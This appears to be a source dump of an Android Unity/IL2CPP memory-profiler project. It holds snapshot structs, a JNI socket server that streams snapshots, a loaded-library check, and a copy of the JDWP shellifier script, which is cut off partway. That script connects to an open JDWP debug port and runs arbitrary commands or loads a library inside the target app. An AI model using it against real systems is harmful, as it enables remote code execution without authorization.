Il2CppMetadataSnapshot 46 | { 47 | uint32_t typeCount; 48 | Il2CppMetadataType* types; 49 | }; 50 | 51 | struct Il2CppManagedMemorySection 52 | { 53 | uint64_t sectionStartAddress; 54 | uint32_t sectionSize; 55 | uint8_t* sectionBytes; 56 | }; 57 | 58 | struct Il2CppManagedHeap 59 | { 60 | uint32_t sectionCount; 61 | Il2CppManagedMemorySection* sections; 62 | }; 63 | 64 | struct Il2CppStacks 65 | { 66 | uint32_t stackCount; 67 | Il2CppManagedMemorySection* stacks; 68 | }; 69 | 70 | struct NativeObject 71 | { 72 | uint32_t gcHandleIndex; 73 | uint32_t size; 74 | uint32_t instanceId; 75 | uint32_t classId; 76 | uint32_t referencedNativeObjectIndicesCount; 77 | uint32_t* referencedNativeObjectIndices; 78 | }; 79 | 80 | struct Il2CppGCHandles 81 | { 82 | uint32_t trackedObjectCount; 83 | uint64_t* pointersToObjects; 84 | }; 85 | 86 | struct Il2CppRuntimeInformation 87 | { 88 | uint32_t pointerSize; 89 | uint32_t objectHeaderSize; 90 | uint32_t arrayHeaderSize; 91 | uint32_t arrayBoundsOffsetInHeader; 92 | uint32_t arraySizeOffsetInHeader; 93 | uint32_t allocationGranularity; 94 | }; 95 | 96 | struct Il2CppManagedMemorySnapshot 97 | { 98 | Il2CppManagedHeap heap; 99 | Il2CppStacks stacks; 100 | Il2CppMetadataSnapshot metadata; 101 | Il2CppGCHandles gcHandles; 102 | Il2CppRuntimeInformation runtimeInformation; 103 | void* additionalUserInformation; 104 | }; 105 | 106 | #endif -------------------------------------------------------------------------------- /plugins/Android/jni/umpserver.cpp: -------------------------------------------------------------------------------- 1 | #include "umpserver.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #ifdef __cplusplus 10 | extern "C" { 11 | #endif // __cplusplus 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #include "umputils.h" 23 | 24 | struct umpSendCache { 25 | std::uint32_t size; 26 | const char* data; 27 | }; 28 | 29 | std::mutex sendCacheMutex_; 30 | umpSendCache sendCache_; 31 | void (*recvCallback_)(unsigned int, const char*, unsigned int); 32 | 33 | char* buffer_ = nullptr; 34 | std::atomic serverRunning_ {true}; 35 | std::atomic hasClient_ {false}; 36 | std::thread socketThread_; 37 | bool started_ = false; 38 | 39 | bool umpServerStarted() { 40 | return started_; 41 | } 42 | 43 | void umpSend(const char* buffer, unsigned int size) { 44 | { 45 | std::lock_guard lock(sendCacheMutex_); 46 | sendCache_.size = size; 47 | sendCache_.data = buffer; 48 | UMPLOGI("Sending Snapshot size: %i", size); 49 | } 50 | if (size > 0) { 51 | while (true) { 52 | { 53 | std::lock_guard lock(sendCacheMutex_); 54 | if (sendCache_.size == 0) 55 | break; 56 | } 57 | std::this_thread::sleep_for(std::chrono::milliseconds(500)); 58 | } 59 | } 60 | } 61 | 62 | void umpRecv(void (*recvCallback)(unsigned int, const char*, unsigned int)) { 63 | recvCallback_ = recvCallback; 64 | } 65 | 66 | void umpServerLoop(int sock); 67 | 68 | int umpServerStart(int port = 8000) { 69 | if (started_) 70 | return 0; 71 | // allocate buffer 72 | buffer_ = (char*)malloc(BUFSIZ); 73 | memset(buffer_, 0, BUFSIZ); 74 | // setup server addr 75 | struct sockaddr_in serverAddr; 76 | memset(&serverAddr, 0, sizeof(serverAddr)); 77 | serverAddr.sin_family = AF_INET; 78 | serverAddr.sin_addr.s_addr = INADDR_ANY; 79 | serverAddr.sin_port = htons(port); 80 | // create socket 81 | int sock = socket(PF_INET, SOCK_STREAM, 0); 82 | if (sock < 0) { 83 | UMPLOGI("start.socket %i", sock); 84 | return -1; 85 | } 86 | // bind address 87 | int ecode = bind(sock, (struct sockaddr*)&serverAddr, sizeof(struct sockaddr)); 88 | if (ecode < 0) { 89 | UMPLOGI("start.bind %i", ecode); 90 | return -1; 91 | } 92 | // set max send buffer 93 | int sendbuff = 327675; 94 | ecode = setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &sendbuff, sizeof(sendbuff)); 95 | if (ecode < 0) { 96 | UMPLOGI("start.setsockopt %i", ecode); 97 | return -1; 98 | } 99 | // listen for incomming connections 100 | ecode = listen(sock, 2); 101 | if (ecode < 0) { 102 | UMPLOGI("start.listen %i", ecode); 103 | return -1; 104 | } 105 | started_ = true; 106 | serverRunning_ = true; 107 | hasClient_ = false; 108 | socketThread_ = std::thread(umpServerLoop, sock); 109 | return 0; 110 | } 111 | 112 | void umpServerShutdown() { 113 | if (!started_) 114 | return; 115 | serverRunning_ = false; 116 | hasClient_ = false; 117 | socketThread_.join(); 118 | delete[] buffer_; 119 | buffer_ = nullptr; 120 | started_ = false; 121 | } 122 | 123 | void umpServerLoop(int sock) { 124 | struct timeval time; 125 | time.tv_usec = 33; 126 | fd_set fds; 127 | int clientSock = -1; 128 | while (serverRunning_) { 129 | if (!serverRunning_) 130 | break; 131 | if (!hasClient_) { // handle new connection 132 | FD_ZERO(&fds); 133 | FD_SET(sock, &fds); 134 | if (select(sock + 1, &fds, NULL, NULL, &time) < 1) 135 | continue; 136 | if (FD_ISSET(sock, &fds)) { 137 | clientSock = accept(sock, NULL, NULL); 138 | if (clientSock >= 0) { 139 | hasClient_ = true; 140 | } 141 | } 142 | } else { 143 | // check for client connectivity 144 | FD_ZERO(&fds); 145 | FD_SET(clientSock, &fds); 146 | if (select(clientSock + 1, &fds, NULL, NULL, &time) > 0 && FD_ISSET(clientSock, &fds)) { 147 | int length = recv(clientSock, buffer_, BUFSIZ, 0); 148 | if (length <= 0) { 149 | hasClient_ = false; 150 | continue; 151 | } else { 152 | if (length > 0) { 153 | std::uint32_t type = ntohl(*reinterpret_cast(buffer_)); 154 | recvCallback_(type, buffer_ + 4, static_cast(length - 4)); 155 | } 156 | } 157 | } 158 | std::lock_guard lock(sendCacheMutex_); 159 | if (sendCache_.size > 0) { 160 | send(clientSock, &sendCache_.size, 4, 0); // send net buffer size 161 | send(clientSock, sendCache_.data, sendCache_.size, 0); // then send data 162 | // UMPLOGI("sending: %i, %i", sendCache_.compressedSize, sendCache_.size); 163 | sendCache_.size = 0; 164 | } 165 | } 166 | } 167 | close(sock); 168 | if (hasClient_) 169 | close(clientSock); 170 | } 171 | 172 | #ifdef __cplusplus 173 | } 174 | #endif // __cplusplus -------------------------------------------------------------------------------- /plugins/Android/jni/umpserver.h: -------------------------------------------------------------------------------- 1 | #ifndef UMPSERVER_H 2 | #define UMPSERVER_H 3 | 4 | #ifdef __cplusplus 5 | extern "C" { 6 | #endif // __cplusplus 7 | 8 | enum UMPMessageType { 9 | CAPTURE_SNAPSHOT = 0, 10 | }; 11 | 12 | int umpServerStart(int port); 13 | bool umpServerStarted(); 14 | void umpSend(const char* buffer, unsigned int size); 15 | void umpRecv(void (*recvCallback)(unsigned int, const char*, unsigned int)); 16 | void umpServerShutdown(); 17 | 18 | #ifdef __cplusplus 19 | } 20 | #endif // __cplusplus 21 | 22 | #endif -------------------------------------------------------------------------------- /plugins/Android/jni/umputils.cpp: -------------------------------------------------------------------------------- 1 | #include "umputils.h" 2 | 3 | #ifdef __cplusplus 4 | extern "C" { 5 | #endif // __cplusplus 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | bool umpIsLibraryLoaded(const std::string& lib, std::string& libraryPath) { 17 | char line[512]; // proc/self/maps parsing code by xhook 18 | FILE *fp; 19 | uintptr_t baseAddr; 20 | char perm[5]; 21 | unsigned long offset; 22 | int pathNamePos; 23 | char *pathName; 24 | size_t pathNameLen; 25 | if (NULL == (fp = fopen("/proc/self/maps", "r"))) 26 | return false; 27 | while(fgets(line, sizeof(line), fp)) { 28 | if(sscanf(line, "%" PRIxPTR"-%*lx %4s %lx %*x:%*x %*d%n", &baseAddr, perm, &offset, &pathNamePos) != 3) continue; 29 | // check permission & offset 30 | if(perm[0] != 'r') continue; 31 | if(perm[3] != 'p') continue; // do not touch the shared memory 32 | if(0 != offset) continue; 33 | // get pathname 34 | while(isspace(line[pathNamePos]) && pathNamePos < (int)(sizeof(line) - 1)) 35 | pathNamePos += 1; 36 | if(pathNamePos >= (int)(sizeof(line) - 1)) continue; 37 | pathName = line + pathNamePos; 38 | pathNameLen = strlen(pathName); 39 | if(0 == pathNameLen) continue; 40 | if(pathName[pathNameLen - 1] == '\n') { 41 | pathName[pathNameLen - 1] = '\0'; 42 | pathNameLen -= 1; 43 | } 44 | if(0 == pathNameLen) continue; 45 | if('[' == pathName[0]) continue; 46 | // check path 47 | auto pathnameStr = std::string(pathName); 48 | if (pathnameStr.find(lib) != std::string::npos) { 49 | libraryPath = pathnameStr; 50 | UMPLOGI("%s is loaded", pathnameStr.c_str()); 51 | fclose(fp); 52 | return true; 53 | } 54 | } 55 | fclose(fp); 56 | return false; 57 | } 58 | 59 | #ifdef __cplusplus 60 | } 61 | #endif // __cplusplus -------------------------------------------------------------------------------- /plugins/Android/jni/umputils.h: -------------------------------------------------------------------------------- 1 | #ifndef UMPUTILS_H 2 | #define UMPUTILS_H 3 | 4 | #include 5 | 6 | #ifdef __cplusplus 7 | extern "C" { 8 | #endif // __cplusplus 9 | 10 | #include 11 | 12 | #define UMPLOGI(...) __android_log_print(ANDROID_LOG_INFO, "UMP", __VA_ARGS__) 13 | #define UMPLOGW(...) __android_log_print(ANDROID_LOG_WARN, "UMP", __VA_ARGS__) 14 | #define UMPLOGE(...) __android_log_print(ANDROID_LOG_ERROR, "UMP", __VA_ARGS__) 15 | 16 | bool umpIsLibraryLoaded(const std::string& lib, std::string& libraryPath); 17 | 18 | #ifdef __cplusplus 19 | } 20 | #endif // __cplusplus 21 | 22 | #endif -------------------------------------------------------------------------------- /plugins/README.md: -------------------------------------------------------------------------------- 1 | ```bash 2 | # 需要android-ndk-r16b或更高 3 | android-ndk-r16b/ndk-build 4 | ``` 5 | 6 | -------------------------------------------------------------------------------- /release/jdwp-shellifier.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | ################################################################################ 3 | # 4 | # Universal JDWP shellifier 5 | # 6 | # @_hugsy_ 7 | # 8 | # And special cheers to @lanjelot 9 | # 10 | # loadlib option by @ikoz 11 | # 12 | 13 | import socket 14 | import time 15 | import sys 16 | import struct 17 | import urllib 18 | import argparse 19 | import traceback 20 | 21 | 22 | ################################################################################ 23 | # 24 | # JDWP protocol variables 25 | # 26 | HANDSHAKE = "JDWP-Handshake" 27 | 28 | REQUEST_PACKET_TYPE = 0x00 29 | REPLY_PACKET_TYPE = 0x80 30 | 31 | # Command signatures 32 | VERSION_SIG = (1, 1) 33 | CLASSESBYSIGNATURE_SIG = (1, 2) 34 | ALLCLASSES_SIG = (1, 3) 35 | ALLTHREADS_SIG = (1, 4) 36 | IDSIZES_SIG = (1, 7) 37 | CREATESTRING_SIG = (1, 11) 38 | SUSPENDVM_SIG = (1, 8) 39 | RESUMEVM_SIG = (1, 9) 40 | SIGNATURE_SIG = (2, 1) 41 | FIELDS_SIG = (2, 4) 42 | METHODS_SIG = (2, 5) 43 | GETVALUES_SIG = (2, 6) 44 | CLASSOBJECT_SIG = (2, 11) 45 | INVOKESTATICMETHOD_SIG = (3, 3) 46 | REFERENCETYPE_SIG = (9, 1) 47 | INVOKEMETHOD_SIG = (9, 6) 48 | STRINGVALUE_SIG = (10, 1) 49 | THREADNAME_SIG = (11, 1) 50 | THREADSUSPEND_SIG = (11, 2) 51 | THREADRESUME_SIG = (11, 3) 52 | THREADSTATUS_SIG = (11, 4) 53 | EVENTSET_SIG = (15, 1) 54 | EVENTCLEAR_SIG = (15, 2) 55 | EVENTCLEARALL_SIG = (15, 3) 56 | 57 | # Other codes 58 | MODKIND_COUNT = 1 59 | MODKIND_THREADONLY = 2 60 | MODKIND_CLASSMATCH = 5 61 | MODKIND_LOCATIONONLY = 7 62 | EVENT_BREAKPOINT = 2 63 | SUSPEND_EVENTTHREAD = 1 64 | SUSPEND_ALL = 2 65 | NOT_IMPLEMENTED = 99 66 | VM_DEAD = 112 67 | INVOKE_SINGLE_THREADED = 2 68 | TAG_OBJECT = 76 69 | TAG_STRING = 115 70 | TYPE_CLASS = 1 71 | 72 | 73 | ################################################################################ 74 | # 75 | # JDWP client class 76 | # 77 | class JDWPClient: 78 | 79 | def __init__(self, host, port=8000): 80 | self.host = host 81 | self.port = port 82 | self.methods = {} 83 | self.fields = {} 84 | self.id = 0x01 85 | return 86 | 87 | def create_packet(self, cmdsig, data=""): 88 | flags = 0x00 89 | cmdset, cmd = cmdsig 90 | pktlen = len(data) + 11 91 | pkt = struct.pack(">IIccc", pktlen, self.id, chr(flags), chr(cmdset), chr(cmd)) 92 | pkt+= data 93 | self.id += 2 94 | return pkt 95 | 96 | def read_reply(self): 97 | header = self.socket.recv(11) 98 | pktlen, id, flags, errcode = struct.unpack(">IIcH", header) 99 | 100 | if flags == chr(REPLY_PACKET_TYPE): 101 | if errcode : 102 | raise Exception("Received errcode %d" % errcode) 103 | 104 | buf = "" 105 | while len(buf) + 11 < pktlen: 106 | data = self.socket.recv(1024) 107 | if len(data): 108 | buf += data 109 | else: 110 | time.sleep(1) 111 | return buf 112 | 113 | def parse_entries(self, buf, formats, explicit=True): 114 | entries = [] 115 | index = 0 116 | 117 | 118 | if explicit: 119 | nb_entries = struct.unpack(">I", buf[:4])[0] 120 | buf = buf[4:] 121 | else: 122 | nb_entries = 1 123 | 124 | for i in range(nb_entries): 125 | data = {} 126 | for fmt, name in formats: 127 | if fmt == "L" or fmt == 8: 128 | data[name] = int(struct.unpack(">Q",buf[index:index+8]) [0]) 129 | index += 8 130 | elif fmt == "I" or fmt == 4: 131 | data[name] = int(struct.unpack(">I", buf[index:index+4])[0]) 132 | index += 4 133 | elif fmt == 'S': 134 | l = struct.unpack(">I", buf[index:index+4])[0] 135 | data[name] = buf[index+4:index+4+l] 136 | index += 4+l 137 | elif fmt == 'C': 138 | data[name] = ord(struct.unpack(">c", buf[index])[0]) 139 | index += 1 140 | elif fmt == 'Z': 141 | t = ord(struct.unpack(">c", buf[index])[0]) 142 | if t == 115: 143 | s = self.solve_string(buf[index+1:index+9]) 144 | data[name] = s 145 | index+=9 146 | elif t == 73: 147 | data[name] = struct.unpack(">I", buf[index+1:index+5])[0] 148 | buf = struct.unpack(">I", buf[index+5:index+9]) 149 | index=0 150 | 151 | else: 152 | print "Error" 153 | sys.exit(1) 154 | 155 | entries.append( data ) 156 | 157 | return entries 158 | 159 | def format(self, fmt, value): 160 | if fmt == "L" or fmt == 8: 161 | return struct.pack(">Q", value) 162 | elif fmt == "I" or fmt == 4: 163 | return struct.pack(">I", value) 164 | 165 | raise Exception("Unknown format") 166 | 167 | def unformat(self, fmt, value): 168 | if fmt == "L" or fmt == 8: 169 | return struct.unpack(">Q", value[:8])[0] 170 | elif fmt == "I" or fmt == 4: 171 | return struct.unpack(">I", value[:4])[0] 172 | else: 173 | raise Exception("Unknown format") 174 | return 175 | 176 | def start(self): 177 | self.handshake(self.host, self.port) 178 | self.idsizes() 179 | self.getversion() 180 | self.allclasses() 181 | return 182 | 183 | def handshake(self, host, port): 184 | s = socket.socket() 185 | try: 186 | s.connect( (host, port) ) 187 | except socket.error as msg: 188 | raise Exception("Failed to connect: %s" % msg) 189 | 190 | s.send( HANDSHAKE ) 191 | 192 | if s.recv( len(HANDSHAKE) ) != HANDSHAKE: 193 | raise Exception("Failed to handshake") 194 | else: 195 | self.socket = s 196 | 197 | return 198 | 199 | def leave(self): 200 | self.socket.close() 201 | return 202 | 203 | def getversion(self): 204 | self.socket.sendall( self.create_packet(VERSION_SIG) ) 205 | buf = self.read_reply() 206 | formats = [ ('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"), 207 | ('S', "vmVersion"), ('S', "vmName"), ] 208 | for entry in self.parse_entries(buf, formats, False): 209 | for name,value in entry.iteritems(): 210 | setattr(self, name, value) 211 | return 212 | 213 | @property 214 | def version(self): 215 | return "%s - %s" % (self.vmName, self.vmVersion) 216 | 217 | def idsizes(self): 218 | self.socket.sendall( self.create_packet(IDSIZES_SIG) ) 219 | buf = self.read_reply() 220 | formats = [ ("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"), 221 | ("I", "referenceTypeIDSize"), ("I", "frameIDSize") ] 222 | for entry in self.parse_entries(buf, formats, False): 223 | for name,value in entry.iteritems(): 224 | setattr(self, name, value) 225 | return 226 | 227 | def allthreads(self): 228 | try: 229 | getattr(self, "threads") 230 | except : 231 | self.socket.sendall( self.create_packet(ALLTHREADS_SIG) ) 232 | buf = self.read_reply() 233 | formats = [ (self.objectIDSize, "threadId")] 234 | self.threads = self.parse_entries(buf, formats) 235 | finally: 236 | return self.threads 237 | 238 | def get_thread_by_name(self, name): 239 | self.allthreads() 240 | for t in self.threads: 241 | threadId = self.format(self.objectIDSize, t["threadId"]) 242 | self.socket.sendall( self.create_packet(THREADNAME_SIG, data=threadId) ) 243 | buf = self.read_reply() 244 | if len(buf) and name == self.readstring(buf): 245 | return t 246 | return None 247 | 248 | def allclasses(self): 249 | try: 250 | getattr(self, "classes") 251 | except: 252 | self.socket.sendall( self.create_packet(ALLCLASSES_SIG) ) 253 | buf = self.read_reply() 254 | formats = [ ('C', "refTypeTag"), 255 | (self.referenceTypeIDSize, "refTypeId"), 256 | ('S', "signature"), 257 | ('I', "status")] 258 | self.classes = self.parse_entries(buf, formats) 259 | 260 | return self.classes 261 | 262 | def get_class_by_name(self, name): 263 | for entry in self.classes: 264 | if entry["signature"].lower() == name.lower() : 265 | return entry 266 | return None 267 | 268 | def get_methods(self, refTypeId): 269 | if not self.methods.has_key(refTypeId): 270 | refId = self.format(self.referenceTypeIDSize, refTypeId) 271 | self.socket.sendall( self.create_packet(METHODS_SIG, data=refId) ) 272 | buf = self.read_reply() 273 | formats = [ (self.methodIDSize, "methodId"), 274 | ('S', "name"), 275 | ('S', "signature"), 276 | ('I', "modBits")] 277 | self.methods[refTypeId] = self.parse_entries(buf, formats) 278 | return self.methods[refTypeId] 279 | 280 | def get_method_by_name(self, name): 281 | for refId in self.methods.keys(): 282 | for entry in self.methods[refId]: 283 | if entry["name"].lower() == name.lower() : 284 | return entry 285 | return None 286 | 287 | def getfields(self, refTypeId): 288 | if not self.fields.has_key( refTypeId ): 289 | refId = self.format(self.referenceTypeIDSize, refTypeId) 290 | self.socket.sendall( self.create_packet(FIELDS_SIG, data=refId) ) 291 | buf = self.read_reply() 292 | formats = [ (self.fieldIDSize, "fieldId"), 293 | ('S', "name"), 294 | ('S', "signature"), 295 | ('I', "modbits")] 296 | self.fields[refTypeId] = self.parse_entries(buf, formats) 297 | return self.fields[refTypeId] 298 | 299 | def getvalue(self, refTypeId, fieldId): 300 | data = self.format(self.referenceTypeIDSize, refTypeId) 301 | data+= struct.pack(">I", 1) 302 | data+= self.format(self.fieldIDSize, fieldId) 303 | self.socket.sendall( self.create_packet(GETVALUES_SIG, data=data) ) 304 | buf = self.read_reply() 305 | formats = [ ("Z", "value") ] 306 | field = self.parse_entries(buf, formats)[0] 307 | return field 308 | 309 | def createstring(self, data): 310 | buf = self.buildstring(data) 311 | self.socket.sendall( self.create_packet(CREATESTRING_SIG, data=buf) ) 312 | buf = self.read_reply() 313 | return self.parse_entries(buf, [(self.objectIDSize, "objId")], False) 314 | 315 | def buildstring(self, data): 316 | return struct.pack(">I", len(data)) + data 317 | 318 | def readstring(self, data): 319 | size = struct.unpack(">I", data[:4])[0] 320 | return data[4:4+size] 321 | 322 | def suspendvm(self): 323 | self.socket.sendall( self.create_packet( SUSPENDVM_SIG ) ) 324 | self.read_reply() 325 | return 326 | 327 | def resumevm(self): 328 | self.socket.sendall( self.create_packet( RESUMEVM_SIG ) ) 329 | self.read_reply() 330 | return 331 | 332 | def invokestatic(self, classId, threadId, methId, *args): 333 | data = self.format(self.referenceTypeIDSize, classId) 334 | data+= self.format(self.objectIDSize, threadId) 335 | data+= self.format(self.methodIDSize, methId) 336 | data+= struct.pack(">I", len(args)) 337 | for arg in args: 338 | data+= arg 339 | data+= struct.pack(">I", 0) 340 | 341 | self.socket.sendall( self.create_packet(INVOKESTATICMETHOD_SIG, data=data) ) 342 | buf = self.read_reply() 343 | return buf 344 | 345 | def invoke(self, objId, threadId, classId, methId, *args): 346 | data = self.format(self.objectIDSize, objId) 347 | data+= self.format(self.objectIDSize, threadId) 348 | data+= self.format(self.referenceTypeIDSize, classId) 349 | data+= self.format(self.methodIDSize, methId) 350 | data+= struct.pack(">I", len(args)) 351 | for arg in args: 352 | data+= arg 353 | data+= struct.pack(">I", 0) 354 | 355 | self.socket.sendall( self.create_packet(INVOKEMETHOD_SIG, data=data) ) 356 | buf = self.read_reply() 357 | return buf 358 | 359 | def invokeVoid(self, objId, threadId, classId, methId, *args): 360 | data = self.format(self.objectIDSize, objId) 361 | data+= self.format(self.objectIDSize, threadId) 362 | data+= self.format(self.referenceTypeIDSize, classId) 363 | data+= self.format(self.methodIDSize, methId) 364 | data+= struct.pack(">I", len(args)) 365 | for arg in args: 366 | data+= arg 367 | data+= struct.pack(">I", 0) 368 | 369 | self.socket.sendall( self.create_packet(INVOKEMETHOD_SIG, data=data) ) 370 | buf = None 371 | return buf 372 | 373 | def solve_string(self, objId): 374 | self.socket.sendall( self.create_packet(STRINGVALUE_SIG, data=objId) ) 375 | buf = self.read_reply() 376 | if len(buf): 377 | return self.readstring(buf) 378 | else: 379 | return "" 380 | 381 | def query_thread(self, threadId, kind): 382 | data = self.format(self.objectIDSize, threadId) 383 | self.socket.sendall( self.create_packet(kind, data=data) ) 384 | buf = self.read_reply() 385 | return 386 | 387 | def suspend_thread(self, threadId): 388 | return self.query_thread(threadId, THREADSUSPEND_SIG) 389 | 390 | def status_thread(self, threadId): 391 | return self.query_thread(threadId, THREADSTATUS_SIG) 392 | 393 | def resume_thread(self, threadId): 394 | return self.query_thread(threadId, THREADRESUME_SIG) 395 | 396 | def send_event(self, eventCode, *args): 397 | data = "" 398 | data+= chr( eventCode ) 399 | data+= chr( SUSPEND_ALL ) 400 | data+= struct.pack(">I", len(args)) 401 | 402 | for kind, option in args: 403 | data+= chr( kind ) 404 | data+= option 405 | 406 | self.socket.sendall( self.create_packet(EVENTSET_SIG, data=data) ) 407 | buf = self.read_reply() 408 | return struct.unpack(">I", buf)[0] 409 | 410 | def clear_event(self, eventCode, rId): 411 | data = chr(eventCode) 412 | data+= struct.pack(">I", rId) 413 | self.socket.sendall( self.create_packet(EVENTCLEAR_SIG, data=data) ) 414 | self.read_reply() 415 | return 416 | 417 | def clear_events(self): 418 | self.socket.sendall( self.create_packet(EVENTCLEARALL_SIG) ) 419 | self.read_reply() 420 | return 421 | 422 | def wait_for_event(self): 423 | buf = self.read_reply() 424 | return buf 425 | 426 | def parse_event_breakpoint(self, buf, eventId): 427 | num = struct.unpack(">I", buf[2:6])[0] 428 | rId = struct.unpack(">I", buf[6:10])[0] 429 | if rId != eventId: 430 | return None 431 | tId = self.unformat(self.objectIDSize, buf[10:10+self.objectIDSize]) 432 | loc = -1 # don't care 433 | return rId, tId, loc 434 | 435 | 436 | 437 | def runtime_exec(jdwp, args): 438 | print ("[+] Targeting '%s:%d'" % (args.target, args.port)) 439 | print ("[+] Reading settings for '%s'" % jdwp.version) 440 | 441 | # 1. get Runtime class reference 442 | runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;") 443 | if runtimeClass is None: 444 | print ("[-] Cannot find class Runtime") 445 | return False 446 | print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"]) 447 | 448 | # 2. get getRuntime() meth reference 449 | jdwp.get_methods(runtimeClass["refTypeId"]) 450 | getRuntimeMeth = jdwp.get_method_by_name("getRuntime") 451 | if getRuntimeMeth is None: 452 | print ("[-] Cannot find method Runtime.getRuntime()") 453 | return False 454 | print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"]) 455 | 456 | # 3. setup breakpoint on frequently called method 457 | c = jdwp.get_class_by_name( args.break_on_class ) 458 | if c is None: 459 | print("[-] Could not access class '%s'" % args.break_on_class) 460 | print("[-] It is possible that this class is not used by application") 461 | print("[-] Test with another one with option `--break-on`") 462 | return False 463 | 464 | jdwp.get_methods( c["refTypeId"] ) 465 | m = jdwp.get_method_by_name( args.break_on_method ) 466 | if m is None: 467 | print("[-] Could not access method '%s'" % args.break_on) 468 | return False 469 | 470 | loc = chr( TYPE_CLASS ) 471 | loc+= jdwp.format( jdwp.referenceTypeIDSize, c["refTypeId"] ) 472 | loc+= jdwp.format( jdwp.methodIDSize, m["methodId"] ) 473 | loc+= struct.pack(">II", 0, 0) 474 | data = [ (MODKIND_LOCATIONONLY, loc), ] 475 | rId = jdwp.send_event( EVENT_BREAKPOINT, *data ) 476 | print ("[+] Created break event id=%x" % rId) 477 | 478 | # 4. resume vm and wait for event 479 | jdwp.resumevm() 480 | 481 | print ("[+] Waiting for an event on '%s'" % args.break_on) 482 | while True: 483 | buf = jdwp.wait_for_event() 484 | ret = jdwp.parse_event_breakpoint(buf, rId) 485 | if ret is not None: 486 | break 487 | 488 | rId, tId, loc = ret 489 | print ("[+] Received matching event from thread %#x" % tId) 490 | 491 | # time.sleep(1) 492 | # jdwp.clear_event(EVENT_BREAKPOINT, rId) 493 | 494 | # 5. Now we can execute any code 495 | if args.cmd: 496 | runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd) 497 | elif args.loadlib: 498 | packagename = getPackageName(jdwp, tId) 499 | tmpLocation = "/data/local/tmp/" + args.loadlib 500 | dstLocation = "/data/data/" + packagename + "/" + args.loadlib 501 | command = "cp " + tmpLocation + " " + dstLocation 502 | print("[*] Copying library from " + tmpLocation + " to " + dstLocation) 503 | runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], command) 504 | time.sleep(2) 505 | print("[*] Executing Runtime.load(" + dstLocation + ")") 506 | runtime_load_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], dstLocation) 507 | time.sleep(2) 508 | print("[*] Library should now be loaded") 509 | else: 510 | # by default, only prints out few system properties 511 | runtime_exec_info(jdwp, tId) 512 | 513 | jdwp.resumevm() 514 | 515 | print ("[!] Command successfully executed") 516 | 517 | return True 518 | 519 | 520 | def runtime_exec_info(jdwp, threadId): 521 | # 522 | # This function calls java.lang.System.getProperties() and 523 | # displays OS properties (non-intrusive) 524 | # 525 | properties = {"java.version": "Java Runtime Environment version", 526 | "java.vendor": "Java Runtime Environment vendor", 527 | "java.vendor.url": "Java vendor URL", 528 | "java.home": "Java installation directory", 529 | "java.vm.specification.version": "Java Virtual Machine specification version", 530 | "java.vm.specification.vendor": "Java Virtual Machine specification vendor", 531 | "java.vm.specification.name": "Java Virtual Machine specification name", 532 | "java.vm.version": "Java Virtual Machine implementation version", 533 | "java.vm.vendor": "Java Virtual Machine implementation vendor", 534 | "java.vm.name": "Java Virtual Machine implementation name", 535 | "java.specification.version": "Java Runtime Environment specification version", 536 | "java.specification.vendor": "Java Runtime Environment specification vendor", 537 | "java.specification.name": "Java Runtime Environment specification name", 538 | "java.class.version": "Java class format version number", 539 | "java.class.path": "Java class path", 540 | "java.library.path": "List of paths to search when loading libraries", 541 | "java.io.tmpdir": "Default temp file path", 542 | "java.compiler": "Name of JIT compiler to use", 543 | "java.ext.dirs": "Path of extension directory or directories", 544 | "os.name": "Operating system name", 545 | "os.arch": "Operating system architecture", 546 | "os.version": "Operating system version", 547 | "file.separator": "File separator", 548 | "path.separator": "Path separator", 549 | "user.name": "User's account name", 550 | "user.home": "User's home directory", 551 | "user.dir": "User's current working directory" 552 | } 553 | 554 | systemClass = jdwp.get_class_by_name("Ljava/lang/System;") 555 | if systemClass is None: 556 | print ("[-] Cannot find class java.lang.System") 557 | return False 558 | 559 | jdwp.get_methods(systemClass["refTypeId"]) 560 | getPropertyMeth = jdwp.get_method_by_name("getProperty") 561 | if getPropertyMeth is None: 562 | print ("[-] Cannot find method System.getProperty()") 563 | return False 564 | 565 | for propStr, propDesc in properties.iteritems(): 566 | propObjIds = jdwp.createstring(propStr) 567 | if len(propObjIds) == 0: 568 | print ("[-] Failed to allocate command") 569 | return False 570 | propObjId = propObjIds[0]["objId"] 571 | 572 | data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, propObjId), ] 573 | buf = jdwp.invokestatic(systemClass["refTypeId"], 574 | threadId, 575 | getPropertyMeth["methodId"], 576 | *data) 577 | if buf[0] != chr(TAG_STRING): 578 | print ("[-] %s: Unexpected returned type: expecting String" % propStr) 579 | else: 580 | retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) 581 | res = cli.solve_string(jdwp.format(jdwp.objectIDSize, retId)) 582 | print ("[+] Found %s '%s'" % (propDesc, res)) 583 | 584 | return True 585 | 586 | 587 | def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command): 588 | # 589 | # This function will invoke command as a payload, which will be running 590 | # with JVM privilege on host (intrusive). 591 | # 592 | print ("[+] Selected payload '%s'" % command) 593 | 594 | # 1. allocating string containing our command to exec() 595 | cmdObjIds = jdwp.createstring( command ) 596 | if len(cmdObjIds) == 0: 597 | print ("[-] Failed to allocate command") 598 | return False 599 | cmdObjId = cmdObjIds[0]["objId"] 600 | print ("[+] Command string object created id:%x" % cmdObjId) 601 | 602 | # 2. use context to get Runtime object 603 | buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId) 604 | if buf[0] != chr(TAG_OBJECT): 605 | print ("[-] Unexpected returned type: expecting Object") 606 | return False 607 | rt = jdwp.unformat(jdwp.objectIDSize, 